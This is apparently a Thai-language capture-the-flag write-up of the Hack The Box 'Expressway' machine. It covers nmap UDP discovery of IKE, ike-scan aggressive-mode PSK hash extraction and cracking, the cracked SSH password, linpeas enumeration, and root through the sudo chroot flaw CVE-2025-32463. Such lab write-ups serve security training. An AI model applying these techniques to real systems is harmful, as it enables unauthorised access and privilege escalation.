[HTB Expressway write up]

Linux boot to root machine

Alt text เริ่มด้วยการ nmap ดู port ที่เปิดอยู่ทั้งหมดของเครื่องนี้

┌──(kali㉿kali)-[~/Downloads/HTB/Expressway]
└─$ nmap -sC -sV -T5 -p- 10.10.11.87
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 14:06 +07
Warning: 10.10.11.87 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.87
Host is up (0.044s latency).
Not shown: 65355 closed tcp ports (reset), 179 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.30 seconds

แปลกมากทำไมเปิดแค่ ssh port เดียว 🥲 ผมลองเอา version ของ openssh ที่ nmap ได้ไป search หาช่องโหว่ดูแล้วก็พบว่ามันเป็น version ใหม่ล่าสุดที่แก้ไขช่องโหว่ไปหมดแล้ว ซึ่งตอนนี้มันก็แทบไม่เหลืออะไรให้ทำแล้วจนผมไปนึกขึ้นได้ว่า nmap ที่ผม scan มัน scan แค่ protocol TCP ไม่ได้รวม UDP ผมเลยลอง scan protocol UDP ด้วยคำสั่ง

┌──(kali㉿kali)-[~/Downloads/HTB/Expressway]
└─$ nmap -T4 -sUV -F 10.10.11.87    
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 14:11 +07
Warning: 10.10.11.87 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.87
Host is up (0.034s latency).
Not shown: 85 closed udp ports (port-unreach)
PORT      STATE         SERVICE      VERSION
68/udp    open|filtered dhcpc
69/udp    open          tftp         Netkit tftpd or atftpd
88/udp    open|filtered kerberos-sec
136/udp   open|filtered profile
162/udp   open|filtered snmptrap
500/udp   open          isakmp?
515/udp   open|filtered printer
518/udp   open|filtered ntalk
1023/udp  open|filtered unknown
1900/udp  open|filtered upnp
4500/udp  open|filtered nat-t-ike
5353/udp  open|filtered zeroconf
49152/udp open|filtered unknown
49185/udp open|filtered unknown
65024/udp open|filtered unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port500-UDP:V=7.95%I=7%D=9/22%Time=68D0F71A%P=aarch64-unknown-linux-gnu
SF:%r(IKE_MAIN_MODE,70,"\0\x11\"3DUfw\xe8\x16\xc0\xcd\x88\x08\x15K\x01\x10
SF:\x02\0\0\0\0\0\0\0\0p\r\0\x004\0\0\0\x01\0\0\0\x01\0\0\0\(\x01\x01\0\x0
SF:1\0\0\0\x20\x01\x01\0\0\x80\x01\0\x05\x80\x02\0\x02\x80\x04\0\x02\x80\x
SF:03\0\x01\x80\x0b\0\x01\x80\x0c\0\x01\r\0\0\x0c\t\0&\x89\xdf\xd6\xb7\x12
SF:\0\0\0\x14\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\0")%r(IPSEC_
SF:START,9C,"1'\xfc\xb08\x10\x9e\x894\x96>%\x96\x94\xfdA\x01\x10\x02\0\0\0
SF:\0\0\0\0\0\x9c\r\0\x004\0\0\0\x01\0\0\0\x01\0\0\0\(\x01\x01\0\x01\0\0\0
SF:\x20\x01\x01\0\0\x80\x01\0\x05\x80\x02\0\x02\x80\x04\0\x02\x80\x03\0\x0
SF:3\x80\x0b\0\x01\x80\x0c\x0e\x10\r\0\0\x0c\t\0&\x89\xdf\xd6\xb7\x12\r\0\
SF:0\x14\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\0\r\0\0\x18@H\xb7
SF:\xd5n\xbc\xe8\x85%\xe7\xde\x7f\0\xd6\xc2\xd3\x80\0\0\0\0\0\0\x14\x90\xc
SF:b\x80\x91>\xbbin\x08c\x81\xb5\xecB{\x1f");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 225.16 seconds

จะเห็นว่ามีเปิดอยู่ 2 port คือ port 69 Trivial File Transfer Protocol (TFTP) และ port 500 IKE (Internet Key Exchange) และจากการศึกษาและสอบถาม chatGPT ก็ได้เรื่องประมาณว่า port ที่น่าสนใจคือ port 500 IKE ซึ่งหน้าที่หลักของ IKE มีอยู่หลักๆ 3 ข้อด้วยกัน คือ

  1. แลกเปลี่ยน key (Key Exchange)
  2. ทำการยืนยันตัวตน (Authentication) เช่น ใช้ Pre-Shared Key (PSK), Certificates, หรือ EAP
  3. สร้าง Security Association (SA) สำหรับเข้ารหัส/ถอดรหัสข้อมูลที่วิ่งผ่าน VPN

ซึ่งการจะโจมตีตัวของ IKE เราสามารถใช้คำสั่ง ike-scan -A <ip-address> เพื่อดึงข้อมูลต่างๆได้ เช่น group name หรือค่า SA proposal

┌──(kali㉿kali)-[~/Downloads/HTB/Expressway]
└─$ ike-scan -A 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Aggressive Mode Handshake returned HDR=(CKY-R=09d8040d29d2ada2) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.053 seconds (19.02 hosts/sec).  1 returned handshake; 0 returned notify

จะเห็นว่ามี user ชื่อ ike จากนั้นให้ใช้คำสั่ง ike-scan -A -M <ip-address> --pskcrack=hash.txt เพื่อดึงค่า hash ที่เป็น password ของ user นี้ออกมาเพื่อจะทำการ crack Alt text จากนั้นทำการ crack hash นี้ด้วยคำสั่ง psk-crack Alt text จะได้ password คือ freakingrockstarontheroad ให้นำ user และ password ที่ได้มาไป ssh เข้าเครื่อง Alt text ได้ user flag แล้ววววว ต่อไปเหลือ root flag เริ่มโดยการใช้คำสั่ง sudo -l เพื่อดูว่า user นี้สามารถใช้สิทธิ์ root ในการทำอะไรได้บ้าง

ike@expressway:~$ sudo -l
Password: 
Sorry, user ike may not run sudo on expressway.

user นี้ไม่สามารถใช้ sudo ได้ ผมเลยไปที่ path /tmp และ deploy linpeas.sh มาลงและลองรันเพื่อหาทางในการยกสิทธิ์ Alt text จากผลของ linpeas มีอย่างนึงที่น่าสนใจ คือ มี sudo ที่เป็น sudo ที่ไม่ได้อยู่ path default จากรูปคือจะมี sudo ที่อยู่ใน path usr/bin/sudo ซึ่งปกติต้องอยู่ path นี้แต่มีอีก sudo นึงที่อยู่ใน path /usr/local/bin/sudo แล้วตอนนี้เราใช้ sudo ไหนอยู่ละ ลองดูโดยใช้คำสั่ง

ike@expressway:/tmp$ which sudo
/usr/local/bin/sudo

ปรากฎว่าเราไม่ได้ใช้ sudo ที่เป็น default ในเครื่องนี้ซึ่งโจทย์อาจจะจงใจให้มีช่องโหว่ใน sudo ที่อยู่ใน path /usr/bin/local/sudo รึป่าว ผมเลยลองดู version ของ sudo ทั้งสองไฟล์ Alt text จะเห็นว่ามี version ที่ต่างกันผมเลยลองเอา version ของ sudo ที่เครื่องนี้ให้เราใช้ไป search หาช่องโหว่ดู Alt text แล้วก็เจอจริงๆซึ่งมันก็คือ CVE-2025-32463 มันคือช่องโหว่ของ sudo ที่ผู้ใช้ที่มีสิทธิ์ต่ำ (local user) สามารถยกระดับสิทธิ์เป็น root ได้โดยใช้ตัวเลือก --chroot (หรือ -R) ของ sudo ผมเลยทำการรัน exploit ตามลิงค์ที่ผมแนบไว้ได้เลย Alt text ได้ root flag แล้วววว 🥳


ก็จบไปแล้วนะครับสำหรับ write up ข้อแรกของ season 9 HTB ซึ่งข้อนี้ก็เป็นข้อที่ค่อนข้างง่ายแต่อาจจะติดตอนแรกที่ nmap ไม่เจอแต่ก็ทำให้เรารู้จัก protocol ของ UDP มาเพิ่มอีก 1 ตัวซึ่งผมก็พึ่งเคยเจอเป็นครั้งแรกเหมือนกันสำหรับตัวของ IKE 😅

งั้นก็ไว้เจอกัน write up หน้านะครับ ขอบคุณทุกคนที่อ่านจนจบครับ

[RELATED POSTS]